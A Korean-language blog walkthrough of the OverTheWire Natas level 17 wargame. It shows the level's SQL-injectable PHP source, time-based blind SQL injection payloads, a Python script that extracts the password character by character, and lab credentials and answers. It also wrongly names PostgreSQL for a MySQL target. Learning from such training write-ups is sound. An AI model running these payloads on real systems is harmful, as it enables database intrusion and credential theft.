Over the Wire/natas

[OvertheWire:natas] Natas level 16 → 17 / natas 17

ruming 2021. 6. 27. 21:45

username을 입력하는 칸이 있다.

 

소스코드

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>

users테이블에 username과 password가 저장되어 있고, 주석으로 echo문이 막혀 있기 때문에 결과를 확인할 수가 없다. 여기서는 Time based SQL injection을 이용할 수 있겠다. 참이면 sleep함수가 실행되고 거짓이면 sleep함수가 실행되지 않도록 하면 된다.

 

다음과 같이 natas18을 입력하면 아무것도 나타나지 않는다.

 

sleep함수를 사용해보자.

natas17의 경우

natas17" and sleep(3) #

바로 다음 화면이 뜨지만,

 

natas18의 경우

natas18" and sleep(3) #

3초 뒤에 다음 화면이 나타났다. 이것을 이용하면 되겠다.

 

LIKE 활용법 - SQL

LIKE를 활용하면 해당 텍스트가 포함된 모든 raw를 불러올 수 있다.

여기서 대소문자를 구별하는 PostgreSQL을 사용하면 된다. 

natas18" AND password LIKE '%a%' and sleep(3) #

 

python

import requests
url='http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/'

allchar='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXVZ1234567890'
bstr='blasts'.encode('utf-8')
pw=''

for i in range(32):
	for char in allchar:
		r = requests.get(url+'?username=natas18" AND password LIKE BINARY"' + pw + char + '%" AND SLEEP(10) -- -')
		
		if r.elapsed.total_seconds() >= 10:
			pw = pw + char
			print(pw)
			break

 

결과

 

sleep함수에 넣는 시간이 짧으면 다른 값이 나오는 것 같다. 5이상 넣으니 제대로 나왔다.

 

xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

 

 

 

 

참고 : http://www.anonhack.in/2018/09/overthewire-natas-series-17-18-level-walkthrough/